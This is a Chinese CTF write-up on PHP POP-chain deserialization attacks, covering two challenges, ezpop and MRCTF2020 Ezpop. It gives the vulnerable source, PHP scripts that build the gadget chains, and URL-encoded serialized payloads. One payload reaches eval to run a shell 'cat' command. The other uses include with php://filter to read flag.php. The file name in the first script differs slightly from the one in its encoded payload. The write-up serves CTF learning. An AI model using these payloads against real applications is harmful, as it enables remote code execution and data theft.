两道简单的 pop 链反序列化的题

记两道 pop 链反序列化的题

之前做过一些PHP中pop链反序列化的题,但是不太会,闲来无事就想着研究研究做些题,技术有限,大佬勿喷~

pop 链简介

pop 链就是利用魔法方法在里面进行多次跳转然后获取敏感数据,实战应用范围暂时没遇到,不过在 CTF 比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是 pop 链,在构造 pop 链中,魔术方法必不可少。

相关常见的魔术方法

__sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发

解题思路

一般的话就是进行代码审计,看比较特殊的函数,通过构造链子一步步触发相关魔术方法,最后多次跳转获取敏感数据,经常结合反序列化考察,需要写 PHP 脚本,即列出题目框架和属性,然后构造链子,进行序列化。

例题

2022DASCTF X SU 三月春季挑战赛 ezpop

打开题目,发现代码如下:

 <?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);//需要绕过
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);//反序列化
} else {
    highlight_file(__FILE__);
}

我们对代码进行审计,发现最后是要post传参序列化的内容,我们最终希望调用的是mix类中的get_flag()函数,我们就需要通过fin类来调用此函数,我们以__destruct()函数作为入口,写出payload,先看根目录,然后一个个的cat就可以找到flag
<?php

class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}
$f=new fin();//以fin为入口
$f->f1=new what();//将对象作为字符串拼接,触发__tostring
$f->f1->a=new mix();
$f->f1->a->m1=new crow();
$f->f1->a->m1->v1=new fin();//不存在world函数,触发__call
$f->f1->a->m1->v1->f1=new mix();//调用mix中的get_flag()函数
$f->f1->a->m1->v1->f1->m1="\nsystem(\"cat H0mvz850A.php\");";//绕过,执行命令
echo urlencode(serialize($f));//序列化

得到 payload

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A29%3A%22%0Asystem%28%22cat+H0mvz850F.php%22%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

进行 bp 抓包传参

就可以得到 flag 了

[MRCTF2020]Ezpop

打开题目,发现代码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

进行代码审计后发现是一道 pop 链反序列化 + 文件包含的题目,根据题目知道,flag 在 flag.php 内,我们需要执行 include,就要调用 append,我们要把 var 设置为php://filter/read=convert.base64-encode/resource=flag.php 去读取 flag.php

我们理一下链子的思路,$a=new Show(); 令 $a->source=new Show(); 此时对象被当做字符串拼接,触发__tostring(),它会执行return $a->scource->str->source,那我们令$a->source->str不包含source属性,令$a->source->str=new Test();这样由于调用不存在的成员变量会触发__get()函数,我们令 $function 为一个对象,那么下面的 $function(); 就会是一个对象被当做函数使用,触发 __invoke() 函数,即令 $a->source->str->p=new Modifier(); 此时就会触发 invoke,调用 append 函数,执行我们的语句php://filter/read=convert.base64-encode/resource=flag.php

具体 payload 脚本如下

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}

class Show{
    public $source;
    public $str;

}

class Test{
    public $p;
}
$f=new Show();
$f->source=new Show();
$f->source->str=new Test();
$f->source->str->p=new Modifier();
echo urlencode(serialize($f));
?>

得到 payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

进行 get 传参即可得 base64 加密编码,进行解码即可得 flag

7.png